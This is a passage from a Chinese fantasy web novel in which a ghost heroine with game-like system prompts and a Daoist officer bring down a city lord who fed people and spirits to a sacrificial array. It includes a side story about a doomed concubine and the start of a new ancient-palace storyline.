“……好。”
第一句答应了,就已经给出服软的态度,接下来更好办。
鱼宣接着要求:“要补灵力的,不忌人鬼。”
这也不难。
方逢玉点头:“可以。”
“我要你三日后借口留宿府内,就宿在孙照影房中。”
“行——?”
以为又是什么补充条件,同意的话脱口而出。
等脑子把信息处理完成,已经覆水难收。
方逢玉:……
眼见这个心机深沉的NPC只能干瞪着眼敢怒不敢言,鱼宣的笑意更深
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。
“怎样呢?方大夫有什么顾虑吗?”
方逢玉还真没有什么顾虑。
只是女鬼的要求过于抽象,抽象到完全不像是包藏祸心。
他勉强扯出一个笑:“还请您万勿作弄于我。”
“不是作弄,”鱼宣伸出右手食指在他面前晃了晃,“我是认真的,方大夫。”
女鬼眼底猩红,暗含威胁。
方逢玉咬牙:“好。”
诺成。
鱼宣还不忘揶揄:“方大夫何必得了便宜还卖乖呢?孙照影于你,明明是恨不得日日相亲的关系。”
方逢玉何曾遭受过如此直白的言语狎玩,他说什么都不适宜,只能憋着火气往肚子里咽。
鱼宣想,她也算替孙照影口头出了气,日后她在天之灵,要少些怨恨早入轮回才好。
女鬼最喜欢踩着人的底线达成目的。
于是她说:“还有一件事。”
那么无来由的要求都答应了,其他的无非困难些,方逢玉觉得没什么好怕的。
“请说吧。”
女鬼面容隐在一层纱后若隐若现,神秘又诡谲。
“把你知道的有关祭阵的事都告诉我。”
这要求听起来太正常,方逢玉甚至松了口气。
“你想知道什么?”
“从她们的名字开始,”鱼宣收敛起一切浮于表面的情绪,眼神冷厉,“别装傻,方大夫,我知道你记得。”
方逢玉第一次觉得人太聪明也不是什么好事。
女鬼只回来待了几句话的时间,又跑去偶遇方逢玉。
独守空房的青年道长郁郁地对着满桌密密麻麻的笔迹,行动难得地陷入迟滞。
他是道士,这个身份让他避免了很多麻烦,也让他比平头百姓更容易活下来。
可是灵异天生排斥道士。
比起其他灵异,鱼宣对他算得上亲近。
女鬼失忆,初见时还懵懂就求助于他,之后与他结姻亲,他们早就密不可分。
方逢玉之前,鱼宣只在他面前主动现过身。
齐览脑中烦闷挥之不去。
半灵胎的身份没什么好羡慕的,对于常人来说不过是一道催命符。
但世事难料,如果在他奉命离京赶路的时候告诉他,他会为一个灵异辗转反侧道心不坚,他必然不肯信。
如今无需谁来提醒,他不得不信。
可是齐览还记得,鱼宣并非灵智未开的普通灵异。
她不知沉眠了多少岁月,从棺中苏醒。
世间作乱的灵异,大多凭本能行动。
而少数真正掀起腥风血雨的灵异,都目标明确,身负使命。
就像鱼宣。
其中就有人类利用半灵胎接近进而剿杀的先例。
齐览其实无所谓是否回京城了。
但这由不得他。
鱼宣从头到尾指向性都非常明确,她要去京城。
齐览有理由怀疑,一旦自己说要改道,鱼宣第一个抛下他赶路。
女鬼这边进展顺利,翻窗的动作都轻快很许多。
等一路来到青年身边,解除隐匿弄出动静,鱼宣才反应过来自己面纱没摘。
齐览一看就明白。
他垂眼,周身气质无端覆上一层阴影。
“方逢玉见过你了。”
肯定而非疑问的语气。
20. 第 20 章
鱼宣自觉跟NPC报备过了,承认得很干脆。
“是啊。”
青年的情绪不是女鬼重点关注的对象,她说实话毫无负担。
齐览没有使性子的立场,只能关心别的问题:“……还顺利吗?”
鱼宣笑嘻嘻:“顺利。”
她没有要与齐览过多探讨的意思。
齐览也识趣,不再过问更详细的内容,转而开始汇报自己的任务进度。
“祭灵阵的草稿还剩下一点收尾,明日可以整理出一半的成稿。”
NPC这么懂事,鱼宣也很给面子。
“齐大人也不要太辛苦了,”女鬼关心得相当真切,“您累倒了,我可怎么办呢?”
鱼宣的示弱带有强烈的目的性。
齐览想起他们在乱葬岗时,女鬼为了跟他走一派胡搅蛮缠的模样。
京城。
那里有什么吸引她的?
青年定定地看了鱼宣好一会儿,把她都看得有点不自在。
正当鱼宣怀疑自己说错话的时候,齐览从怀中摸出一个卷轴。
“物品:导览图——全地图引路,全天候服务,出行计划小助手。”
“注:此物品为伏灵司专有,与伏灵令同有表明身份的作用,可通行关内关外。”
齐览把卷轴送到鱼宣面前:“你有这个,就知道该怎么办了。”
鱼宣再三确认。
既没有推动进度,也没有达成节点。
这么重要的道具,就直接白给吗?
难道跟NPC的友好度有关?
鱼宣怀疑归怀疑,手还是很诚实地接过导览图。
她顺口问道:“齐大人怎么突然把这么重要的东西交给我?”
是啊,为什么?
在这个不尴不尬的时候。
既没有紧急到临死前托付,也没有松弛到停下来整顿。
好像随手就给出去了。
难怪她惊讶。
但是对齐览而言,很紧急。
他迫切地想要知道,鱼宣到底是把他当做一个路引,还是真的把他放在眼里。
青年半垂着眼,长睫掩下那些混乱又来路不明的情绪。
“路途凶险,我若有意外,你也能继续赶路。”
鱼宣向来不是买椟还珠的人。
引路NPC之所以是引路NPC,不只在于路途的引导,更在于剧情的指引和填补。
因此她知道,可以没有导览图,不能没有齐览。
女鬼把青年脑袋掰正,让他直视她。
“我说错了,齐大人,这东西其实不那么重要,”鱼宣神色认真,“只要你还剩一口气,我就不会自己上路的。”
齐览知道鱼宣可能会说些好听的话哄他。
但这种程度,未免太过了。
灵异的承诺向来应该珍而重之,可是女鬼已经许给他两个。
一个是他费心机骗来的,一个是她自愿给。
“……我知道了。”
齐览实在也没有别的话可说。
他总不能告诉鱼宣,他这条命只要还剩一口气,就一定阴魂不散地纠缠她。
哑女的状况给了洪霖很大的希望,他觉得自己快要摸到成功的边缘了。
于是在第三日的清早,鱼宣又被提示音唤醒。
“当前进度:16%(剧情探索达到60%将解锁支线)”
鱼宣知道这意味着什么,烦躁地坐起身。
果然没一会儿侍从就来传话,请齐览去大殿。
齐览带上一半的成稿,跟着侍从来到熟悉的台阶下。
清晨光线并不刺目,但他仰头看去的时候还是眯了眯眼。
成功近在眼前的幻觉让洪霖的耐心好了起来,昨日连一句旁敲侧击的打听也没有。
而鱼宣除了出门看了一回哑女,就一直待在房中。
齐览总算能平心静气,效率都高了不少。
成稿其实已经全部完成了。
但洪霖还需要吊着。
这个节骨眼,最怕他狗急跳墙,手上能栓的绳越多越好。
鱼宣这次没被牵着衣带。
因为衣带已经被她剪成半截了。
不过开个自动跟随也没差。
这次鱼宣对洪霖的观察更细致。
带着答案看问题,很多地方都能自洽。
这位形容消瘦的城主,脸色青白,眼瞳泛棕,枯槁如蜡。
不是操劳之相,而是半灵异化。
孙照影说,她被献祭时亲眼所见,应祭阵而来的灵异现身,被赶来的洪霖生生吞吃入腹。
吞食灵异时,洪霖面色青紫,眼冒血光,短暂地变成不人不鬼的半灵异状态。
孙照影祭阵已经是三个月前的事了,那时洪霖应该还在反复尝试。
现在他的灵异化特征已经越来越明显,也不打算刻意隐藏了。
鱼宣还以为洪霖从祭阵中得到了什么,原来就是给自己进行后天杂交。
如果非要问做灵异有什么好,大概就是只要苟得好,就能一直存在。
鱼宣早就猜到,洪霖请齐览设阵,出发点不是抵御灵异。
但通过孙照影提供的信息,她才想明白洪霖的最终目的。
豢养灵异。
灵异被关在一起会厮杀,彼此吞噬。
洪霖想用养蛊的方式省去少食多餐的麻烦。
力量与长生两个诱惑同时出现,洪霖丧心病狂至此也算说得通。
正是因为说得通,所以他必须死。
齐览交作业似的把半成稿交给洪霖。
洪霖是典型的上位者,他不需要懂事,只需要懂人。
他翻看过一遍,看出齐览兢兢业业毫无敷衍之意,态度也和善很多。
“齐大人不愧为修行之人,心怀仁善,事事求全。”
齐览听这些咬文嚼字的奉承话左耳朵进右耳朵出。
他真的很想像伏灵司那位上司一样轻飘飘地敷衍过去,但形势所逼。
洪霖铺垫一大堆总算问起重点:“不知这次的阵法应该在何时布设?”
齐览早就想好:“今夜子时。”
这个时间布阵,阴气最盛,且正好赶上阴杀。
女鬼在大殿里四处游荡。
时间被拖到中午,洪霖顺理成章地留人用膳。
鱼宣知道齐览会帮她争取到食物,于是把菜色看了一遍,再悄悄给他指示。
齐览感受着女鬼在他身上一笔一画写菜名,心情总算松快了些。
菜名报了一长串,女鬼的动作顿了顿,又写:你有忌口吗?
齐览覆上她搭在自己大腿面的手,也学她写到:没有。
鱼宣放心了。
齐览埋头苦吃。
洪霖看他筷子没消停,心想这位真是实实在在耗费了精力。
回房后鱼宣饱餐
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一顿。
齐览见她吃完还一直在桌边坐着,不解:“今日不午睡吗?”
鱼宣摸摸肚子:“吃多了,消消食再睡。”
不理解,齐览吃大份的都没事,她吃加餐的小份怎么还塞不下。
齐览哑然。
好在一下午时间充足,齐览也不怕她睡不够晚上精神不济。
当夜子时。
青年道长在原本的庇护阵上重新布排,牵引着女鬼的灵力描绘出崭新的阵法。
为防洪霖看出端倪,鱼宣的灵力几乎与齐览同步。
灵力对于人类来说是后天修习术法向天地借得,却是灵异本身的一部分。
其他灵异万万不会同意让自己的灵力跟着别人的比划走。
齐览认清自己的卑劣。
他仗着鱼宣什么也不懂,处处欺瞒。
若有朝一日她全数记起,只怕不会谅解他。
灵力首尾相连,祭灵阵既成。
与此同时——
三日已到,阴杀反扑。
冲天阴气破阵而出,乾坤逆转,杀阴翻盘。
洪霖首当其冲。
而鱼宣拎着齐览的后领,退出祭阵范围。
方逢玉一阵心悸,从软榻上醒来。
剧痛阵阵,他捂着胸口呕出血来。
是反噬。
他靠着半灵胎的能力,强行撕出祭阵缺口索回孙照影的命,还利用祭阵能量反哺她以延续余寿。
可是反噬怎么会来得这么突然?
况且祭阵反噬他,必然先反噬孙照影。
先耗尽受益人还不够,再来向他这个破坏阵法的人追偿。
耗尽。
意识到了什么,方逢玉急切地下了软榻,半路被桌角撞进腰腹也顾不得,以最快的速度来到床边。
孙照影静静阖眼平躺,面容平和毫无挣扎迹象。
方逢玉是大夫。
他不必去探她呼吸,就知道人已身死。
方逢玉恍惚一阵,涌上心头的第一种情绪不是悲痛,而是了然。
女鬼要他留宿,而且一定宿在孙照影身边,不是存心戏耍他。
而是让他陪照影走过最后一程,第一时间反叛背刺洪霖。
没有什么比亲眼目睹爱侣的死亡更贴近切肤之痛。
但如果今日他不在照影身边,洪霖就有本事把她的死讯捂起来。
方逢玉不是个君子,但确确实实自小受着规训,守着规矩。
世俗礼教里的有恩必报,他尤其赞同。
鱼宣的恩情,他认。
孙照影身死的罪魁祸首是谁,他也清楚。
所以他愿意按照鱼宣的谋算一步不差地走。
除去后天的主动学习,半灵胎有一个与生俱来的天赋。
——咒杀。
洪霖吞吃了那么多灵异,其实力早就足够抗衡阴杀冤魂。
哪怕阴杀阵拼到山穷水尽,洪霖顶多半死。
可是孙照影、哑女和那些冤魂们已经祭阵,没有轮回了。
方逢玉不能容忍洪霖苟且偷生,也不允许他再入六道。
咒杀就是个一劳永逸的方法。
哪怕他从此灵智全失,痴傻疯癫,被灵异分而食之。
男人看着已无生息的孙照影,弯着眼睛发自内心地笑起来。
她无来世,他也神魂俱灭。
怎么不算黄泉相守,殊途同归呢?
21. 第 21 章
“当前进度:19%(剧情探索达到60%将解锁支线)”
鱼宣听见系统提示音,就知道方逢玉上道了。
阴杀反扑,祭灵阵法,再加上半灵胎咒杀。
这三点的进度涨得不冤。
还剩下一点。
鱼宣低头从袖中摸出两枚金灿灿的宝石。
“物品:黄金眼——画龙点睛,弄假成真。”
这是白日大殿里,她从柱上蛟的眼眶里抠的。
杀阴祭阵虽然失败了,但也算半成。
如今的洪霖已经是半步真龙,要想凭咒杀把他摁死,不太实际。
自古点睛才成龙。
鱼宣猜,这就是洪霖这条虫的命门。
只是这宝石暂时无法毁坏。
不过没关系,因为她还从蛟的嘴里顺了一把剑。
孙照影失明,哑女失声。
夺走眼睛和舌头,一是蒙蔽,二是囚困。
这是洪霖的力量来源,也是斩杀他的关键。
鱼宣看一眼反应过来带着她逃命的青年道长,默默取出那把剑。
齐览感受到冰冷的金属质感抵上他的脖颈。
是剑鞘。
青年没有丝毫停顿,也没有发问。
女鬼扒在他身上,幽幽开口:“齐大人,你不喜欢我为你寻来的宝剑吗?”
“……为什么给我?”
她明明可以自己用。
鱼宣也想给自己装备上,但这剑正气太足了,她一拔出来就掉血。
“物品:玄机剑——至阳至刚,诸邪退避。”
女鬼无福消受。
但她哄人的话张口就来。
“我仰仗齐大人,特献上薄礼一份。”
齐览抬手接过剑柄。
炽热的剑气烫得他皱起眉。
难怪。
青年停住,拍拍女鬼搭在他肩上的手,示意她下来。
鱼宣落地,见齐览拔剑,飞速退开几步。
齐览没管她,转身面向来时路。
阴杀阵能耗掉洪霖半条命,如今他也该逃出来了。
在把冤魂也都吞食后,以完全灵异的状态。
鱼宣盘着手里的两颗黄金眼,定定望向齐览的背影。
这不对劲。
齐览不是那种“从不回头看爆炸”的人设。
女鬼眯了眯眼。
她轻飘飘绕到青年面前。
齐览不过握着剑片刻,就已经面无血色。
鱼宣气笑了,上前拿回玄机剑。
“我忘记了,齐大人,你现在不能动用灵力,还是我来吧。”
再让他跟这把剑待一会儿,乌凤丸都白吃了。
本以为齐览还要与她辩说几句,没想到这人直接不吭声了。
NPC身上有蹊跷。
但现在不是追究这个的时候。
阴杀追偿后,鱼宣的血条还剩一半。
够用了。
女鬼烟紫长裙掠过齐览视野,下一刻他只来得及握住从她身上飘落的面纱。
齐览想追过去,却发现自己被定在原地。
他低头看去,原本的素面黑靴不知何时缠上缕缕金线。
鱼宣没进祭阵范围。
想也知道,那是洪霖的老巢,她进去了肯定讨不到好处。
彻底灵异化的洪霖显然缺乏理智,就这么闷头跑出祭阵。
看洪霖无头苍蝇似的模样,鱼宣疑心他在里头兜了半天圈子,碰运气踩到那块砖才出来的。
洪霖已经注意到这边的女鬼。
“角色:邪灵——异地登录,不是本人。”
鱼宣扬眉。
又见面了。
洪霖也想不到,自己费尽心力求来的力量与寿命,只不过是一个弥天大谎,最后反而挖空了自己成为一个空壳傀儡。
既然如此,事情就简单了。
鱼宣闪身到洪霖面前,作势拔剑出鞘。
耳边是掉血提示音,身前是酝酿大招的小BOSS。
女鬼除了催动袖中金线织成网挡在中间,就再没分半点灵力防御。
洪霖吞食了太多灵异,与之前的邪灵不是一个级别。
鱼宣清楚这一点,明白防御也白搭,不如全点攻击。
她估摸着自己最后肯定得跟最终BOSS硬刚。
六成的灵力,对付个拦路的地头蛇也就洒洒水。
关键在于如何毁坏洪霖的半步真龙。
邪灵蓄力完成,不像之前拐弯抹角的礼貌风格,一点花哨的前摇都没有,就这么径直攻向女鬼。
鱼宣不躲不闪,持剑迎上。
丝线崩断的声音,混杂着清脆的破碎声。
女鬼毫不避让地接下攻击,玄机剑身把洪霖捅了个对穿。
眼睁睁看着自己的血条降到红线开启自动防护模式,鱼宣恨恨地拧了拧剑柄。
邪灵眸中血光黯淡沉寂,肉身的心脏也被搅碎,连挣扎也没有,直直倒下。
他再也没有动弹的力气。
鱼宣摊开左手,手心两颗黄金眼已经在洪霖的攻击下碎成齑粉。
他山之石,可以攻玉。
“恭喜玩家成功通关副本【罗庄城】,解锁灵异能力70%,请谨慎使用。”
“当前进度:20%(剧情探索达到60%将解锁支线)”
鱼宣看着眼神空洞洞的洪霖,用玄机剑撑着身子蹲在他旁边。
在他最后一点生机耗尽之前,她问:“哑女是不是你亲生?”
洪霖面色灰败,分明动根手指都困难,却回答了鱼宣的问题。
“……是。”
鱼宣闭了闭眼。
比她起初想的还要更离谱。
女鬼已无法支持灵力运转,齐览脚下金线萎靡脱落。
青年道长如离弦之箭一般朝着鱼宣离开的方向跑去。
齐览赶到的时候,女鬼早就昏过去不省人事,一旁洪霖的尸体生机全无。
青年看一眼几步之外的池塘。
他抬脚把洪霖踹入水面,随后抱起女鬼紧跟着跃入。
一人一鬼一尸体都没落到祭台上。
齐览面无表情地再补一脚,让洪霖的尸体填上祭台牺牲位。
再轻轻将女鬼摆放在旁边,随后退出祭阵。
祭阵残缺,需要重新用灵力牵引。
这次不是杀阴,而是祭神。
信徒对神的献礼,不会强求得到回应。
齐览稳稳绘成阵法,左眼滴落血珠。
“玩家接受献祭,血量回升中。”
祭神阵启动,洪霖的尸体逐渐被汲取能量化为飞灰。
“玩家血条已满,剩余献祭将转化为实物回血道具。”
鱼宣睁眼,盯着眼熟的拔步床顶雕花看了一会儿。
“当前玩家血量100/100,祭阵所得能量溢出已转化为济灵丹。”
鱼宣眨眨眼,翻出系统面板。
“物品:济灵丹:六道通用,童叟无欺。每枚使用后回血20/100,无使用上限。”
有五枚。<
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鱼宣算了算,这一趟白捡两条命。
女鬼高高兴兴地满血复活。
身边传来青年沉沉的声线:“已经申时了。”
对于NPC学会睡觉这件事,鱼宣已经不那么新奇了。
她摸摸鼻尖:“也就五个多时辰,还好吧。”
实际上并没有入睡,守了一晚上的齐览冷冰冰看她。
鱼宣莫名发怵。
“啊,”她想起什么,“今天没有饭吃了。”
洪霖死了。
城主府内其他普通人也抗不过阴杀残留的一点气息。
齐览还没接话,鱼宣又一拍脑袋。
“洪霖死了,罗庄城怎么办?”
齐览:……
女鬼发散思维:“一城无主,守备不力,这里很快就会变成死城的。”
青年道长打断她的忧国忧民:“我传讯回京禀报此事,京城会安排新官上任的。”
“哦,”鱼宣放心了,“我想吃清蒸桂花糕。”
齐览抿唇不语。
这道菜品流程稍微有些复杂了,他不会。
鱼宣转头看齐览那副眉头紧锁的表情,就知道他又钻牛角尖。
她提醒:“罗庄城应该还有做生意的百姓。”
人在什么时候都要生存。
天下再乱,走南闯北的人还是继续,小本生意的店还得开门。
何况罗庄城还算欣欣向荣,酒楼饭馆随处可见。
齐览翻身下床:“我去打水,洗漱过我们一同出门。”
女鬼老老实实起身。
等鱼宣洗漱收拾的时候,齐览抽空传讯。
他在信中说明罗庄城的情况,和“周平宛”破棺而出一路跟随的消息。
这封信大概率到不了皇帝的手上。
不过齐览不关心,只要能决策的人过目了,他就能得到指示。
也能知道京城对鱼宣的态度。
传讯符被启用,飘飘荡荡地腾空而起,逐渐消失在齐览的视野里。
鱼宣也收拾好了。
她这身裙子穿了这么些天,已经不那么爱惜,但昨晚那么折腾,照样完整如新。
像天衣无缝的天衣。
有祭灵阵在,城主府的变故没有对罗庄城的其他人造成任何影响。
一人一鬼来到一家酒楼。
这回鱼宣终于可以自由地点菜了。
她一顿划拉,挑了五个菜品才收手。
齐览接过菜单,添上清蒸桂花糕。
普通人看不出鱼宣的灵异身份,这给他们省了很多麻烦。
青年道长静静看着捧着碗扒饭的女鬼,总觉得她就该留在凡尘里,阅尽人间事。
偏偏她却早已经不属于人间了。
鱼宣吃得快,齐览负责扫尾。
女鬼羡慕NPC的好胃口。
其实她胃口也挺好的,就是没那么能装。
两人没有行李,也没有其他任务,吃过饭就往城门走。
青年道长站定在一间成衣铺子前。
鱼宣探头:“齐大人想添置衣物吗?”
也情有可原,齐览就这么一身一直穿,她好歹还换过一次。
青年轻轻应声,牵着女鬼的袖子走进店铺。
出来时鱼宣换了一身橙黄色调的衫裙。
齐览也没再穿素衣官服,任女鬼给他搭了一身绯色稠衫。
鱼宣围着青年观赏了两圈,感慨:“还是艳色更衬人。”
青年随她打量,除耳尖红透外,再无端倪。
22. 罗庄城·番外
孙照影说了谎。
她其实记得与方逢玉的相识。
但不是什么郎才女貌年少慕艾的老套故事。
孙照影未出阁时,是罗庄城城郊猎户家的女儿。
猎户世世代代是猎户,由不得他们选择。
但是灵异当道的乱世,还要以打猎为生,只有死路一条。
母亲早在之前一次探亲的时候出了意外。
在她十五岁那年,父兄族亲也死得七零八落。
当时长兄撑着一口气回来了,昏死过去整整两日。
孙照影抹把泪拿出所有积蓄去医馆请人看诊。
来的是方家家主和十七岁的方逢玉。
方氏一族世代从医,口碑极好,在罗庄城中无人不知无人不晓。
方家主摇头:“这是灵异所致,并非药理能解。”
孙照影本来也该死心了。
她没注意,一旁少年视线状似不经意停留在她身上,又看向不省人事的孙家长兄。
“其实,你若能用乌凤丸吊着他的命,”方逢玉垂眼开口,“一个月后,我能救他。”
乌凤丸不是什么隐秘的药,城中贵妇人最爱用来养颜补气。
要吃一个月,对于孙照影来说是巨大的负担。
方逢玉没有食言,他确确实实在一个月内赶回来了。
但在此之前,孙照影已经被洪霖纳入府中。
不是什么走投无路的戏码,家中积蓄微薄,但勉强还够担负买药钱。
可是孙照影怕了。
如果没有任何改变,即使长兄被救活,还是会继续从事打猎。
他们家别无所长,这样下去只会重蹈覆辙。
她不能接受再看到长兄奄奄一息的模样,更不能接受长兄某一日突然传来死讯,死不见尸。
恰逢城主大肆纳妾,挑的都是亲故单薄的良家子。
她太符合条件,长得又标致,被看上不奇怪。
洪霖府中人找来时,孙照影问:“城主肯为我长兄谋一份闲差吗?”
答案是肯定的。
彼时洪霖已经尝到祭阵的好处,又不愿这件事被泄露出去。
有把柄好拿捏的孙照影,甚至比那些无依无靠的孤女更合适。
一个闲差而已,洪霖给得起。
孙家长兄也被接到城主府中照料。
用最好的药,而非被贵妇人们挑过了的次品。
孙照影很感恩。
所以在发现洪霖的目的并非纳妾而是祭阵的时候也没什么反抗心理。
她得到的够多了。孙照影想。
从小在家人的羽翼下长大,每逢年节一定给她先做新衣,所有的风霜雨雪都被挡在外面,吹拂不到她半点。
谈婚论嫁的事本来要提上日程了,还好乱世大家都求生不得,拖了又拖,否则如今拿什么谋入高门?
失去一双眼睛算什么呢?她只剩长兄了。
孙照影只知道,她希望长兄平平安安地活下去。
她太贪心,不愿意自己唯一的亲人再冒任何风险。
方逢玉赶回来的时候,孙照影已经失明。
他沉默,按照约定给孙家长兄用药治疗。
方逢玉承认,他让孙照影吊着孙家长兄的命,是存了让她耗尽家财的心思。
猎户在这世道本就不好过活,从前的积蓄都挖空,往后再要生存都困难。
方逢玉算盘打得很好,以为那时只要他示好,孙照影就自然而然会投入他的怀抱。
但他出门是为了寻道门的治愈术法,又要去求药,一刻也不曾耽搁。
方逢玉也怕,怕他拖延一时半刻,孙家长兄没熬过去,孙照影恨他。
他自以为是的算计让他被反咬一口。
孙照影确实为谋出路心甘情愿跟人走了,但被洪霖捡了漏。
方逢玉从此长了教训,他要寸步不离,死死地抓住孙照影。
可是一子错,满盘皆输。
他略通道术,一眼看出孙照影的不对劲。
可孙照影死活不肯透露半个字。
方逢玉只好自己想办法。
奈何洪霖也知道自己逆天而行,将风声捂得太紧。
方逢玉终于在两年后蓄意撞破洪霖的秘密。
他生来是半灵胎,对祭阵一事并不稀奇。
方逢玉成了洪霖的帮凶。
他唯一的要求的报酬是孙照影。
洪霖无所谓。
反正他纳妾只为了祭阵,换个人也一样。
纳妾只不过给个名分,至少面子上过得去。
这年头对失踪案敏感得很,万一传出流言说他管辖不力,城中灵异作乱,一旦彻查起来麻烦可就大了。
祭阵的牺牲品之前死了太多都没有进展,洪霖也想把人救下来观察观察,于是欣然接受了方逢玉的投名状。
一年多的时间,方逢玉翻遍能得到的所有道门藏书,终于找到斩断孙照影与祭阵联系的办法。
后果是失去修习和使用道术的能力。
这种一锤子买卖对一个半灵胎来说太不划算。
这意味着即使方逢玉被灵异找上门,也不可能再有反抗的余地。
不过这不在他的考虑范围内。
方逢玉在意的点是,即使孙照影不再是祭阵的牺牲品了,寿境也亏损严重,最多不过再活三年。
他把主意打到了洪霖的宝贝祭阵上。
洪霖能从中获得好处,孙照影为什么不能?
强行破坏祭阵,又篡改阵法反哺孙照影,使方逢玉彻彻底底沦为一个从此任灵异宰割的半灵胎。
洪霖等来了齐览。
方逢玉也想从这位伏灵使身上扒一些自保的手段,于是悄悄到城门口等候。
齐览入城时,阴风阵阵。
没人比方逢玉更熟悉这种感觉。
是灵异。
而且比以往他碰到的任何灵异都要强大。
他死死盯着齐览,确认了灵异的气息与齐览的行进方向一致。
要么这位伏灵使豢养了灵异,要么,他本身就是灵异。
可是方逢玉猜错了。
他被齐览不由分说地收拾了一顿,看清对方的神色时,他就明白过来。
是灵异豢养了这位伏灵使还差不多。
人总是对同类更了解。
方逢玉没兴趣招惹一条疯而不自知的狗。
他只想等此间事了,就去寻槐树根。
他要孙照影长命百岁,与他长相厮守。
这太难。
路越走越平这句话不适用于命运的捉弄。
哑女是最早祭阵的妾室所出。
她母亲是洪霖年轻时就侍候在身边的丫鬟,最亲近,最好用。
哑女是洪霖的最后一个孩子。
洪霖亲生
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只有三个女儿,后来大肆纳妾的时候又收容了十个记在妾室名下。
算起来哑女还是年纪最小,于是称十三小姐。
小孩子最大的不过十二岁,年幼体弱,祭阵后纷纷扛不住陆续去世。
不知道洪霖出于什么心理,一直没用哑女祭阵。
直到那日洪霖会见齐览,本该那天上午祭阵的妾室不知从哪得知一些内幕,买通侍从把人换成哑女。
那个妾室最终也没逃过,当天下午就重复了哑女的命运。
鱼宣发现端倪的时候,方逢玉已经为哑女诊治两日了。
他想,或许真正强大的灵异接受祭阵并不会置人于死地。
是洪霖和从前的灵异太弱了。
越是弱者,越是如饥似渴,把祭品活活吸干。
方逢玉被鱼宣拦截的时候,心中的抵触并不多。
如果她早点出现就好了。方逢玉想。
这样孙照影就不会虚弱至此。
不过这位强大的灵异的想法实在令人捉摸不透。
方逢玉不解,但只能照办。
想开点的话,她是让他去陪心上人,又不是让他去陪洪霖。
孙照影对他的印象半点也没有出错。
流氓。
从第一眼就开始算计,算到最后强抢有夫之妇的流氓。
方逢玉是真的没脸没皮不拘礼节,若非孙照影极力推脱,他就不只是睡在软榻上了。
孙照影不傻。
从鱼宣的问话就能猜出,这两位不速之客想搞个大事。
洪霖的恩她用这条命抵过了。
他作恶的事也该有报应。
一码归一码。
不过大概由于孙照影是要魂飞魄散的,所以没有阴差来接。
她静静看着第一时间确认了她死亡的方逢玉,思绪却转到在衙门当差的长兄身上。
不知道洪霖死后,新来的城主会不会大清洗呢?
那也不是她一个魂魄能管的事了。
孙照影看不懂方逢玉又是呕血又是一顿比划地在干什么。
这一生短暂,她还未满十九岁。
好在她坦然。
这辈子遇上天灾人祸,算她倒霉。
看向人间的最后一眼,孙照影既没有再想父兄族亲,也没有想此生过往。
这一刻陪在她身边的是方逢玉,她就施舍给他。
孙照影一直不懂他,不妨碍她感激他。
方家主说不能治,那就是一般的手段都不能治。
方逢玉是怎么做到让长兄活过来的她不知道,总之不是平常路子。
越是偏门方子,越是劳心费力。
从阎王爷手上抢人的事,古来有之。
从灵异手里抢人的大夫,方逢玉算孙照影记忆里的唯一一个。
感激和爱,孙照影分得清。
方家是从医世家,不可能一直跟她耗。
她人微言轻,方逢玉只管爱她的人,不管听她的话。
如果方逢玉真能听得进她的话,早在完成治愈孙家长兄的约定后就走了。
孙照影的魂魄已经消融到了指尖。
年轻的姑娘叹息。
她现在死了个干净,方逢玉总该回他该去的地方去,过他的好日子了。
她阖眼。
这一生过眼云烟。
倘见玉皇先跪奏,他生永不落红尘。
23. 第 23 章
过了罗庄城,路上的村庄城镇就多了起来。
齐览这次没有要停留的意思。
吃一堑长一智,洪霖的事够这位初出茅庐的青年道长消化好一阵子了。
他其实想让鱼宣一直开隐匿。
普通人看不出她有异,但如果碰上方逢玉那样能看穿她的,保不准就飞来横祸。
鱼宣当然不肯。
有些节点必须保证一定的参与度才能触发,隐匿开太久卡关了那就真的完蛋。
NPC诱导她跳坑。
绝对不能上当。
女鬼逛人间街市逛得不亦乐乎。
齐览跟在她的行动范围中。
他想,若是太平盛世,城镇会比如今更繁华,她也能更尽兴。
一人一鬼走出一条山道,视野骤然开阔。
面前是大片平坦的土地。
平坦的土地只要有人烟,就免不了用作耕种。
不远处的田间,一个头戴草帽的人影高高挥起锄头。
不知来处的闪光刺激得鱼宣和齐览同时闭了眼。
人声,马蹄声,刀剑相交声。
鱼宣睁眼,万籁俱寂。
面前不再是农田,而是色调肃穆的建筑。
“恭喜玩家开启新地图:旧朝金粉,痴鼠拖姜——姜王都。”
“您已解锁副本【姜王都】”
“大公子舟车劳顿,王已经命人重整东明殿,请您移驾。”
鱼宣循着声转头,发现是一个衣着风格十分古旧的男人。
他在对着齐览说话。
大公子?
NPC这么有身份?
齐览身上装束也与男人的形制类似,看得出是同一个时代的服装。
鱼宣低头看了看,自己身上没有变化。
女鬼没有被邀请,只能瞪着眼爬上齐览的步辇。
从男人说话时鱼宣就发现,他根本看不见她。
不知道齐览是什么情况,总之先把这一段顺下去。
这是一座王宫。
比齐览所在的朝代更久远的王宫。
鱼宣开启自动跟随,远远就望见朱红牌匾上龙飞凤舞的金字。
——东明殿。
旧朝王宫里的一座宫殿,就比罗庄城的城主府不知恢宏多少。
可见灵异对人间的摧残是多方面的。
一些人类文明会在混乱中湮没。
齐览下了步辇,屏退跟随的宫人,独自走入一处宫室。
鱼宣飘到他面前挥挥手:“齐大人?”
齐览看向她,又好像没有完全看向她。
“鱼宣。”
女鬼皱眉:“你也看不见我?”
齐览点头。
“无妨,我先与你说说这里的事。”
鱼宣:哇塞。
他们不是一起来的吗?
NPC的脑盘里存储的内容令鱼宣叹为观止,如果她能拷出来看一遍,估计进度能直逼100%。
“这是姜王宫,不知道你是否有印象。”
感受到齐览投来的隐晦目光,鱼宣明白他是彻底把自己当成一只古董鬼了。
“没印象。”
“姜王朝亡于姜庄王,也就是我现在的父亲。”
“传闻姜王都并非溃于战乱或民反,而是因鼠疫沦为死城,”齐览回忆道,“王都空无一人,王嗣无一人存活,姜王一脉从此绝迹。”
鱼宣问出一个关键问题:“鼠疫发生在什么时候?”
“史料记载,是在姜王继妃死后。”
听上去是个重要角色。
捋捋关系,这位姜王继妃算是齐览的母亲。
齐览补充:“也就是我这个身份的继母。”
鱼宣开始好奇另一件事:“那你现在叫什么?”
“公子穆。”
“新角色:公子穆——姜庄王长子。”
剧本杀中的剧本杀。
事情变得套娃起来。
鱼宣把话题拉回来:“那继妃是什么时候死的?”
“姜庄王死后第十年。”
鱼宣恨自己现在摆出的表情齐览看不见:“你是说姜庄王死了十年鼠疫才爆发,然后王都沦陷,结果还把亡国的事记在他头上是吗?”
这对吗?
齐览抿唇:“所以说是传闻。”
正史野史混着看是这样的。
不过这至少能说明一点。
“姜庄王是姜王宫最后一任主人,那公子穆呢?还有其他公子呢?”
